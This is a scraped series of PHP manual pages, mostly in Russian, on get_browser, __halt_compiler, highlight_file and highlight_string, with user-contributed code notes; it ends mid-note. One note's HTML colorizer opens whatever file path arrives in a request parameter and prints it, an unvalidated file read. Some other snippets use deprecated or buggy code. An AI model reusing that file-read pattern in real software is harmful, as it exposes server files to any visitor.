To my surprise I found that none of the get_browser alternatives output the correct name / version combination that I was looking for using Opera or Chrome. They either give the wrong name eg Safari when in fact it should be Chrome and if the ua string includes a version number as with the latest versions of Chrome and Opera the wrong number is reported. So I took bits and pieces from the various examples and combined them and added a check for version.

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
mike at mike-griffiths dot co dot uk 23-Jul-2007 02:41
You should not rely on just this for cross-browser compatibility issues.  Good practice would be to include HTML if-statements for IE stylesheets as well as dynamically checking the browser type.
max at phpexpert dot de 26-Mar-2004 07:14
Be aware of the fact that this function shows what a specific browser might be able to show, but NOT what the user has turned on/off.

So maybe this function tells you that the browser is abel to to javascript even when javascript is turned off by the user.


Останавливает работу компилятора

  • « get_browser
  • highlight_file »
  • PHP Manual
  • Разные функции
  • Останавливает работу компилятора

__halt_compiler

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

__halt_compiler — Останавливает работу компилятора

Описание

__halt_compiler(): void

Останавливает работу компилятора. Эта функция может быть полезна при внедрении данных в PHP-скрипты, например, в файлы установки.

Начальная позиция данных в байтах может быть определена константой __COMPILER_HALT_OFFSET__, которая может быть определена, только если в файле имеется функция __halt_compiler().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования __halt_compiler()

<?php

// открыть указанный файл
$fp = fopen(__FILE__, 'r');

// искать в указателе файла данные
fseek($fp, __COMPILER_HALT_OFFSET__);

// и вывести их
var_dump(stream_get_contents($fp));

// останавливает работу скрипта
__halt_compiler(); the installation data (eg. tar, gz, PHP, etc.)

Примечания

Замечание:

Функция __halt_compiler() может быть использована только извне.

User Contributed Notes

alex at 1stleg dot com 02-Feb-2020 07:51
Please note that __HALT_COMPILER() must be uppercase if used from a pharstub: https://www.php.net/manual/en/phar.fileformat.stub.php
ravenswd at gmail dot com 15-Feb-2016 07:31
If "__halt_compiler();" appears in a file which is "include"d or "require"d, then the called-in file will be treated as if it physically cuts off at the "__halt_compiler();". In other words, "__halt_compiler();" only affects the physical file it's in, an outer file that pulls it in will continue to execute.
cwk32 at mail dot ustc dot edu dot cn 23-Feb-2015 03:11
if you find the value of __COMPILER_HALT_OFFSET__ is highly strange. Maybe...

there are some complier optimization tools, like eAccelator(very old). When the program is pre-complied and cached, the __COMPILER_HALT_OFFSET__ will be 0 = =
Krzysiek 14-Jul-2014 09:41
Joey, you're wrong saying that __halt_compiler have strange behavior. This structure works exactly the same as any other build in structure like empty or isset (even similarly to functions; at least in tokenizer level).

About T_OPEN_TAG - after one open tag is present you didn't expect other one in current php code section, so tokenizer try to handle this "thing" in other way and it's perfectly normal...
joey at gimo dot co dot uk 25-May-2014 04:10
I don't exactly know what PHP is doing internally but I don't understand the sanity behind how in token_get_all __halt_compiler is handled.

This is actually valid there:
__halt_compiler/**/ /**/ /**/ /**/ /** */();raw

Normally it pops off just any three tokens so you can have even __halt_compiler***, __halt_compiler))), etc in token _get all.

The weird thing is that is also skips T_OPEN_TAG but in the context __halt_compiler runs in this tag should not be posible. Instead it will pick up < and ? as operators and php as a T_STRING.

It ignores the token at any point so this is also valid:
__halt_compiler()/**/ /**/ /**/ /**/ /** */;raw

When I test this with a php file rather than the tokeniser it works the same.

I can only conclude that PHP/__halt_compiler is pretty weird.

I think this is from attempting to weakly imitate the same syntax handling as in functions (I guess you can put comments/whitespace anywhere). I find it annoying and counter productive though.

Even this is valid:
__halt_compiler// comment\n();raw

A general problem that compound matters is that tokenise wont check whether or not syntax is valid (tokens against each other). When running as PHP you must have ();.
-T- 22-Oct-2013 05:16
This function can be used in eval() -- it will halt the eval, but not the script eval"() was called in.
ravenswd at gmail dot com 29-Jun-2010 06:16
__halt_compiler is also useful for debugging. If you need to temporarily make a change that will introduce an error later on, use __halt_compiler to prevent syntax errors. For example:

<?php
if ( $something ):
  print 'something';
endif;   // endif placed here for debugging purposes
__halt_compiler();
endif;   // original location of endif -- would produce syntax error if __halt_compiler was not there
?>


Подсветка синтаксиса файла

  • « __halt_compiler
  • highlight_string »
  • PHP Manual
  • Разные функции
  • Подсветка синтаксиса файла

highlight_file

(PHP 4, PHP 5, PHP 7, PHP 8)

highlight_file — Подсветка синтаксиса файла

Описание

highlight_file(string $filename, bool $return = false): string|bool

Выводит или возвращает версию с подсветкой синтаксиса кода, содержащегося в файле filename, используя цвета, определённые во встроенной подсветке синтаксиса PHP.

Большинство серверов сконфигурированы автоматически подсвечивать файлы с расширением phps. К примеру, при отображении файла example.phps будет выведен код с подсветкой синтаксиса. Для включения добавьте следующую строку в httpd.conf:

AddType application/x-httpd-php-source .phps

Список параметров

filename

Путь к подсвечиваемому файлу PHP.

return

Установите в этот параметр true для того, чтобы функция вернула подсвеченный код.

Возвращаемые значения

Если в return установлено true, то подсвеченный код возвращается в виде строки, а отображает его. В другом случае будет возвращено true, либо false в случае возникновения ошибки.

Примечания

Предостережение

Необходимо пользоваться функцией highlight_file() с должным вниманием, с тем чтобы по неосторожности не раскрыть конфиденциальную информацию, такую как пароли или любую другую информацию, которая может создать потенциальную угрозу безопасности.

Замечание:

При использовании параметра return данная функция использует внутреннюю буферизацию вывода, поэтому она не может быть использована внутри callback-функции ob_start().

Смотрите также

  • highlight_string() - Подсветка синтаксиса строки
  • Подсвечивание директив INI

User Contributed Notes

csst0266 at cs dot uoi dot gr 13-Aug-2004 09:42
Here is a simple, yet useful, tip... Issuing the following command under a Unix-like OS:

ln -s your_script.php your_script.phps

Will result in the creation of a symbolic link (called your_script.phps) to the source code (your_script.php). This way you have (apart from the source code .php) the highlighted version of your script (.phps) accessible via your web browser.


Подсветка синтаксиса строки

  • « highlight_file
  • hrtime »
  • PHP Manual
  • Разные функции
  • Подсветка синтаксиса строки

highlight_string

(PHP 4, PHP 5, PHP 7, PHP 8)

highlight_string — Подсветка синтаксиса строки

Описание

highlight_string(string $string, bool $return = false): string|bool

Выводит или возвращает код PHP с html-разметкой c подсвеченным синтаксисом, используя цвета, определённые во встроенном обработчике подсветки синтаксиса PHP.

Список параметров

string

Подсвечиваемый PHP-код. Должен включать открывающий тег.

return

При установке этого параметра равным true, функция возвращает код с подсветкой синтаксиса.

Возвращаемые значения

Если параметр return равен true, то вместо вывода в виде строки возвращается код с подсветкой синтаксиса. В противном случае возвращает true или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования highlight_string()

<?php
highlight_string('<?php phpinfo(); ?>');
?>

Результат выполнения данного примера:

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php phpinfo</span><span style="color: #007700">(); </span><span style="color: #0000BB">?&gt;</span>
</span>
</code>

Примечания

Замечание:

При использовании параметра return данная функция использует внутреннюю буферизацию вывода, поэтому она не может быть использована внутри callback-функции ob_start().

Сгенерированная разметка HTML может быть изменена.

Смотрите также

  • highlight_file() - Подсветка синтаксиса файла
  • Подсветка директив INI

User Contributed Notes

will at lolcat dot ca 04-Jul-2023 02:00
Here is the best way to highlight code if you want classes instead of inline styles:

<?php
function highlightcode($text){

    ini_set("highlight.comment", "c-comment");
    ini_set("highlight.default", "c-default");
    ini_set("highlight.html", "c-default");
    ini_set("highlight.keyword", "c-keyword");
    ini_set("highlight.string", "c-string");

    $text =
        trim(
            str_replace(
                '<br />',
                "\n", // replace <br> with newlines
                str_replace(
                    [
                        // leading <?php garbage
                        "<span style=\"color: c-default\">\n&lt;?php&nbsp;",
                        "<code>",
                        "</code>"
                    ],
                    "",
                    highlight_string("<?php " . $text, true)
                )
            )
        );

    // replace colors
    $classes = ["c-comment", "c-default", "c-keyword", "c-string"];

    foreach($classes as $class){

        $text = str_replace('<span style="color: ' . $class . '">', '<span class="' . $class . '">', $text);
    }

    return $text;
}
?>

Generates output that looks like this:

<span class="c-keyword">if(</span>condition<span class="c-keyword">){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;</span><span class="c-string">"HTML&nbsp;here"</span><span class="c-keyword">;
}</span>

Hope this helps.
pyetrosafe at gmail dot com 19-Jan-2019 07:11
I read the note from "stanislav dot eckert at vizson dot de" and I really enjoyed the function he created.
For my use I made some adaptations leaving the function more practical and allowing the passage and multiple parameters at a time, I also modified the style of the <code> element with a black background and margins.

<?php

// Combined of the highlight_string and var_export
function hl_export()
{
    try {
        ini_set("highlight.comment", "#008000");
        ini_set("highlight.default", "#FFFFFF");
        ini_set("highlight.html", "#808080");
        ini_set("highlight.keyword", "#0099FF; font-weight: bold");
        ini_set("highlight.string", "#99FF99");

        $vars = func_get_args();

        foreach ( $vars as $var ) {
            $output = var_export($var, true);
            $output = trim($output);
            $output = highlight_string("<?php " . $output, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
            $output = preg_replace("|\\<code\\>|", "<code style='background-color: #000000; padding: 10px; margin: 10px; display: block; font: 12px Consolas;'>", $output, 1);  // edit prefix
            $output = preg_replace("|(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $output);  // remove custom added "<?php "
            echo $output;
        }
    } catch (Exception $e) {
        echo $e->getMessage();
    }
}

// Debug multiple vars at once.
$var1 = 'Example String';
$var2 = 1987;
$var3 = null;
$var4 = true;
$var5 = array('Array', '05', 05, false, null);

hl_export( $var1, $var2, $var3, $var4, $var5 );
?>
stanislav dot eckert at vizson dot de 26-Dec-2015 03:50
You can change the colors of the highlighting, like this:

<?php
ini_set("highlight.comment", "#008000");
ini_set("highlight.default", "#000000");
ini_set("highlight.html", "#808080");
ini_set("highlight.keyword", "#0000BB; font-weight: bold");
ini_set("highlight.string", "#DD0000");
?>

Like you see in the example above, you can even add additional styles like bold text, since the values are set directly to the DOM attribute "style".

Also, this function highlights only text, if it begins with the prefix "<?php". But this function can highlight other similar formats too (not perfectly, but better than nothing), like HTML, XML, C++, JavaScript, etc. I use following function to highlight different file types and it works quite good:

<?php
function highlightText($text)
{
    $text = trim($text);
    $text = highlight_string("<?php " . $text, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
    $text = trim($text);
    $text = preg_replace("|^\\<code\\>\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>|", "", $text, 1);  // remove prefix
    $text = preg_replace("|\\</code\\>\$|", "", $text, 1);  // remove suffix 1
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|\\</span\\>\$|", "", $text, 1);  // remove suffix 2
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|^(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $text);  // remove custom added "<?php "

    return $text;
}
?>

Note, that it will remove the <code> tag too, so you get the formatted text directly, which gives you more freedom to work with the result.

I personally suggest to combine both things to have a nice highlighting function for different file types with different highlight coloring sets:

<?php
function highlightText($text, $fileExt="")
{
    if ($fileExt == "php")
    {
        ini_set("highlight.comment", "#008000");
        ini_set("highlight.default", "#000000");
        ini_set("highlight.html", "#808080");
        ini_set("highlight.keyword", "#0000BB; font-weight: bold");
        ini_set("highlight.string", "#DD0000");
    }
    else if ($fileExt == "html")
    {
        ini_set("highlight.comment", "green");
        ini_set("highlight.default", "#CC0000");
        ini_set("highlight.html", "#000000");
        ini_set("highlight.keyword", "black; font-weight: bold");
        ini_set("highlight.string", "#0000FF");
    }
    // ...

    $text = trim($text);
    $text = highlight_string("<?php " . $text, true);  // highlight_string() requires opening PHP tag or otherwise it will not colorize the text
    $text = trim($text);
    $text = preg_replace("|^\\<code\\>\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>|", "", $text, 1);  // remove prefix
    $text = preg_replace("|\\</code\\>\$|", "", $text, 1);  // remove suffix 1
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|\\</span\\>\$|", "", $text, 1);  // remove suffix 2
    $text = trim($text);  // remove line breaks
    $text = preg_replace("|^(\\<span style\\=\"color\\: #[a-fA-F0-9]{0,6}\"\\>)(&lt;\\?php&nbsp;)(.*?)(\\</span\\>)|", "\$1\$3\$4", $text);  // remove custom added "<?php "

    return $text;
}
?>
stanislav dot eckert at vizson dot de 11-May-2015 03:18
The documentation says for the first parameter "The PHP code to be highlighted. This should include the opening tag. ". But it seems that the code should not only but *must* start with PHP's opening tag or otherwise the function will still modify but will not highlight the code.
joshuaeasy4u at gmail dot com 17-Sep-2013 09:19
<?php
function printCode($source_code)
{
if ( is_array($source_code))
return false;
$source_code=explode("\n",str_replace(array("\r\n","\r"),"\n",$source_code));
$line_count=1;
foreach ( $source_code as $code_line)
{
$formatted_code .='<tr><td>'.$line_count.'</td>';
$line_count++;
if ( ereg('<\?(php)?[^[:graph:]]',$code_line))
$formatted_code.='<td>'.str_replace(array('<code>','</code>'),'',highlight_string($code_line,true)).'</td></tr>';
else
$formatted_code .='<td>'.ereg_replace('(&lt;\?php&nbsp;)+','',str_replace(array('<code>','</code>'),'',highlight_string('<?php '.$code_line,true))).'</td></tr>';
}
return '<table style="font: 1em Consolas, \'andale mono\', \' monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
}
?>
Mean^_^ 18-Apr-2009 09:45
[EDIT BY danbrown AT php DOT net: The following note contains a user-supplied version of a syntax highlighter.]

<style type="text/css">
.linenum{
    text-align:right;
    background:#FDECE1;
    border:1px solid #cc6666;
    padding:0px 1px 0px 1px;
    font-family:Courier New, Courier;
    float:left;
    width:17px;
    margin:3px 0px 30px 0px;
    }

code    {/* safari/konq hack */
    font-family:Courier New, Courier;
}

.linetext{
    width:700px;
    text-align:left;
    background:white;
    border:1px solid #cc6666;
    border-left:0px;
    padding:0px 1px 0px 8px;
    font-family:Courier New, Courier;
    float:left;
    margin:3px 0px 30px 0px;
    }

br.clear    {
    clear:both;
}

</style>
<?php

 function printCode($code, $lines_number = 0)    {

         if (!is_array($code)) $codeE = explode("\n", $code);
        $count_lines = count($codeE);

        $r1 = "Code:<br />";

         if ($lines_number){
                $r1 .= "<div class=\"linenum\">";
                foreach($codeE as $line =>$c) {
                    if($count_lines=='1')
                        $r1 .= "1<br>";
                    else
                        $r1 .= ($line == ($count_lines - 1)) ? "" :  ($line+1)."<br />";
                 }
                 $r1 .= "</div>";
         }

         $r2 = "<div class=\"linetext\">";
         $r2 .= highlight_string($code,1);
         $r2 .= "</div>";

        $r .= $r1.$r2;

        echo "<div class=\"code\">".$r."</div>\n";
    }

    printCode('<?php echo "PHP Code" ?>    ',1);
?>

by mean
Share idea.
good luck ^_^
Dmitry S 24-Jul-2008 01:38
Alternative XML syntax highlighting.

<?php
function xml_highlight($s)
{
    $s = htmlspecialchars($s);
    $s = preg_replace("#&lt;([/]*?)(.*)([\s]*?)&gt;#sU",
        "<font color=\"#0000FF\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([\?])(.*)([\?])&gt;#sU",
        "<font color=\"#800000\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([^\s\?/=])(.*)([\[\s/]|&gt;)#iU",
        "&lt;<font color=\"#808000\">\\1\\2</font>\\3",$s);
    $s = preg_replace("#&lt;([/])([^\s]*?)([\s\]]*?)&gt;#iU",
        "&lt;\\1<font color=\"#808000\">\\2</font>\\3&gt;",$s);
    $s = preg_replace("#([^\s]*?)\=(&quot;|')(.*)(&quot;|')#isU",
        "<font color=\"#800080\">\\1</font>=<font color=\"#FF00FF\">\\2\\3\\4</font>",$s);
    $s = preg_replace("#&lt;(.*)(\[)(.*)(\])&gt;#isU",
        "&lt;\\1<font color=\"#800080\">\\2\\3\\4</font>&gt;",$s);
    return nl2br($s);
}
?>
fsx dot nr01 at gmail dot com 13-Jun-2008 09:22
Here is an improved version of the code highlighter w/ linenumbers from 'vanessaschissato at gmail dot com' - http://nl.php.net/manual/en/function.highlight-string.php#70456

<?php

    function printCode($source_code)
    {

        if (is_array($source_code))
            return false;

        $source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", $source_code));
        $line_count = 1;

        foreach ($source_code as $code_line)
        {
            $formatted_code .= '<tr><td>'.$line_count.'</td>';
            $line_count++;

            if (ereg('<\?(php)?[^[:graph:]]', $code_line))
                $formatted_code .= '<td>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</td></tr>';
            else
                $formatted_code .= '<td>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</td></tr>';
        }

        return '<table style="font: 1em Consolas, \'andale mono\', \'monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
    }

?>
Dobromir Velev 27-May-2008 04:04
Here is an improved version of Dimitry's xml_highlight function.
I fixed a bug which replaced the first character of the tags name,
and added a line to replace the tabs and spaces with
non-breaking space symbols to keep the identation.

<?
function xml_highlight($s){
  $s = preg_replace("|<([^/?])(.*)\s(.*)>|isU", "[1]<[2]\\1\\2[/2] [5]\\3[/5]>[/1]", $s);
  $s = preg_replace("|</(.*)>|isU", "[1]</[2]\\1[/2]>[/1]", $s);
  $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]", $s);
  $s = preg_replace("|\=\"(.*)\"|isU", "[6]=[/6][4]\"\\1\"[/4]",$s);
  $s = htmlspecialchars($s);
  $s = str_replace("\t","&nbsp;&nbsp;",$s);
  $s = str_replace(" ","&nbsp;",$s);
  $replace = array(1=>'0000FF', 2=>'0000FF', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
  foreach($replace as $k=>$v) {
    $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU", "<font color=\"#".$v."\">\\1</font>", $s);
  }

  return nl2br($s);
}
?>
Dmitry S 12-May-2008 06:29
The simple XML syntax highlighting.

<?php
function xml_highlight($s)
{
     $s = preg_replace("|<[^/?](.*)\s(.*)>|isU","[1]<[2]\\1[/2] [5]\\2[/5]>[/1]",$s);
     $s = preg_replace("|</(.*)>|isU","[1]</[2]\\1[/2]>[/1]",$s);
     $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]",$s);
     $s = preg_replace("|\=\"(.*)\"|isU","[6]=[/6][4]\"\\1\"[/4]",$s);
     $s = htmlspecialchars($s);
     $replace = array(1=>'0000FF', 2=>'808000', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
     foreach($replace as $k=>$v)
     {
          $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU","<font color=\"".$v."\">\\1</font>",$s);
     }
    return nl2br($s);
}
?>
Daniel 20-Feb-2008 02:49
Well, Just a little something I wrote which highlights an HTML code...It'll be going through many changes in the next few days.... until then =) enjoy

<?php
/*************************************\
 CODE PANE 1.0 - SILVERWINGS - D. Suissa
\*************************************/

class HTMLcolorizer{
    private $pointer = 0; //Cursor position.
    private $content = null; //content of document.
    private $colorized = null;
    function __construct($content){
        $this->content = $content;
    }
    function colorComment($position){
        $buffer = "&lt;<span class='HTMLComment'>";
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            $buffer.= $this->content[$position];
        }
        $buffer .= "</span>&gt;";
        $this->colorized .= $buffer;
        return $position;
    }
    function colorTag($position){
        $buffer = "&lt;<span class='tagName'>";
        $coloredTagName = false;
        //As long as we're in the tag scope
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            if($this->content[$position] == " " && !$coloredTagName){
                $coloredTagName = true;
                $buffer.="</span>";
            }else if($this->content[$position] != " " && $coloredTagName){
                //Expect attribute
                $attribute = "";
                //While we're in the tag
                for(;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
                    if($this->content[$position] != "="){
                        $attribute .= $this->content[$position];
                    }else{
                        $value="";
                        $buffer .= "<span class='tagAttribute'>".$attribute."</span>=";
                        $attribute = ""; //initialize it
                        $inQuote = false;
                        $QuoteType = null;
                        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != " "  ;$position++){
                            if($this->content[$position] == '"' || $this->content[$position] == "'"){
                                $inQuote = true;
                                $QuoteType = $this->content[$position];
                                $value.=$QuoteType;
                                //Read Until next quotation mark.
                                for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != $QuoteType  ;$position++){
                                    $value .= $this->content[$position];
                                }
                                $value.=$QuoteType;
                            }else{//No Quotation marks.
                                $value .= $this->content[$position];
                            }
                        }
                        $buffer .= "<span class='tagValue'>".$value."</span>";
                        break;
                    }

                }
                if($attribute != ""){$buffer.="<span class='tagAttribute'>".$attribute."</span>";}
            }
            if($this->content[$position] == ">" ){break;}else{$buffer.= $this->content[$position];}

        }
        //In case there were no attributes.
        if($this->content[$position] == ">" && !$coloredTagName){
            $buffer.="</span>&gt;";
            $position++;
        }
        $this->colorized .= $buffer;
        return --$position;
    }
    function colorize(){
        $this->colorized="";
        $inTag = false;
        for($pointer = 0;$pointer<strlen($this->content);$pointer++){
            $thisChar = $this->content[$pointer];
            $nextChar = $this->content[$pointer+1];
            if($thisChar == "<"){
                if($nextChar == "!"){
                    $pointer = $this->colorComment($pointer);
                }else if($nextChar == "?"){
                    //colorPHP();
                }else{
                    $pointer = $this->colorTag($pointer);
                }
            }else{
                $this->colorized .= $this->content[$pointer];
            }
        }
        return $this->colorized;
    }
}
$curDocName = $_REQUEST['doc'];
$docHandle = fopen($curDocName,"r");
$docStrContent = fread($docHandle,filesize($curDocName));
fclose($docHandle);
$HTMLinspector = new HTMLcolorizer($docStrContent);
$document = $HTMLinspector->colorize();
?>

<html>
    <head>
        <style type="text/css">
        /**********************\
         * MOZILLA FIREFOX STYLE
        \**********************/
        /*pre{font-family:Tahoma;font-size:px;}*/
        .tagName{color:purple;}
        .tagAttribute{color:red;}
        .tagValue{color:blue;}
        .HTMLComment{font-style:italic;color:green;}
        </style>
    </head>
    <body>
    <?php
        echo "<pre>".$document."</pre>";
    ?>
    </body>
</html>
wm at tellinya dot com 17-Dec-2007 04:32
I wanted to build a better function and exclude operators {}=- from keywords span class. I also wanted to link functions used in my PHP code directly to the PHP site.
A lot more changes and tweaks have been made and the output is much better!

Find the function here :
http://www.tellinya.com/art2/262/highligh-php-syntax/
and ditch the old PHP one permanently.
Tested and built on PHP 5.2.0.

Looking forward to any input.
www.phella.net 05-Sep-2007 08:47
When you quote highlighted PHP code in your website you need to escape quotes. If you quote a lot it may be annoyning. Here is tiny snippet how to make quoting tidy and clean. Write your code like this:

<?code()?>
  $string = 'Here I put my code';
<?code()?>

And somewhere else define the function:

<?
  function code()
  {
    static $on=false;
    if (!$on) ob_start();
    else
    {
      $buffer= "<?\n".ob_get_contents()."?>";
      ob_end_clean();
      highlight_string($buffer);
    }
    $on=!$on;
  }
?>
supremacy2k at gmail dot com 31-Mar-2007 04:06
A simplification of functions vanessaschissato at gmail dot com at 17-Oct-2006 05:04.

Since it had trouble keeping the code intact. (It removed /* )

function showCode($code) {
 $code = highlight_string($code, true);
 $code = explode("<br />", $code);

 $i = "1";
 foreach ($code as $line => $syntax) {
  echo "<font color='black'>".$i."</font> ".$syntax."<br>";
  $i++;
 }
}
Pyerre 04-Mar-2007 01:29
This fonction replaces every space with the html code &nbsp; (non-breaking space)
this is not very good because text will not go to the line and causes a big width
for example in a bordered div, text will go across the border

my solution :
echo str_replace("&nbsp;", " ",highlight_string("Arise, you children of the fatherland",true));
echo str_replace("&nbsp;", " ",highlight_file("test.php",true));
tyler dot reed at brokeguysinc dot com 01-Oct-2006 06:11
This is a little chunk of code that i use to show the source of a file, i took part of the idea from a example i found on another php function page.

This code takes a php file and highlights it and places a line number next to it.  Great for on the fly debugging.

<?php
// Get a file into an array
$lines = file('index.php');

// Loop through our array, show HTML source as HTML source; and line numbers too.
echo('<table border=0 cellpadding=0 cellspacing=0>');
foreach ($lines as $line_num => $line) {
    echo('<tr>');
    echo('<td bgcolor = "#cccccc">');
    echo('<code>' . ($line_num + 1) . '</code>');
    echo('</td>');
    echo('<td>');
    highlight_string($line);
    echo('</td>');
    echo('</tr>');
}

?>
peter at int8 dot com 19-Apr-2006 04:43
This hasn't been mentioned, but it appears that PHP opening and closing tags are required to be part of the code snippet.
<?php highlight_string("<? \$var = 15; ?>"); ?>
works, while
<?php highlight_string("\$var = 15;"); ?>
does not. This is unforunate for those of use who want to show tiny code snippets, but there you go. Earlier versions of this function did not have this requirement, if I remember correctly.
stalker at ruun dot de 31-Dec-2005 01:37
to vouksh: I expanded your functions a bit:

<?php
function xhtmlHighlightString($str,$return=false) {
   $hlt = highlight_string(stripslashes($str), true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
function xhtmlHighlightFile($path,$return=false) {
   $hlt = highlight_file($path, true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
?>
vouksh at vouksh dot info 10-Sep-2005 10:27
Fully working, XHTML 1.1 ready xhtml_highlight function. I included the stripslashes, because of some problems I had with out it. It should be safe to leave it in there, but if you experience problems, feel free to take it out.

<?
function xhtml_highlight($str) {
    $hlt = highlight_string(stripslashes($str), true);
    $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
    $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
    echo $ret;
    return true;
}
?>
zer0 20-Jun-2005 09:18
Concerning my code below:

I'm sorry, I completely forgot about str_ireplace being for PHP 5 for some reason. Also, there was another error I missed (too many late nights ;)). Here's the corrected code:

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(PHP_VERSION, "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($code, true);
        }

        # Using preg_replace will allow PHP 4 in on the fun
        if ( $inline === true )
            $highlight=preg_replace("/<code>/i","<code class=\"inline\">",$highlight);
        else
            $highlight=preg_replace("/<code>/i","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
zero 16-Jun-2005 03:55
In some cases, I found that it's useful to have highlight_string format <code>...</code> inline as part of a paragraph, and other times, as a block for demonstrating multiple lines of code. I made this function to help out.

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(phpversion(), "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($data, true);
        }

        ## The classes below need to correspond to a stylesheet!
        if ( $inline === true )
          $highlight=str_ireplace("<code>","<code class=\"inline\">",$highlight);
        else
          $highlight=str_ireplace("<code>","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
Sam Wilson 14-Jun-2005 11:32
manithu at fahr-zur-hoelle dot org forgot only one thing:  to fix the break tags.  The addidtion of the following should do it.

<?php
$str = str_replace("<br>", "<br />", $str);
?>
bpgordon at gmail dot com 13-Jun-2005 01:04
On dleavitt AT ucsc DOT edu's comment:

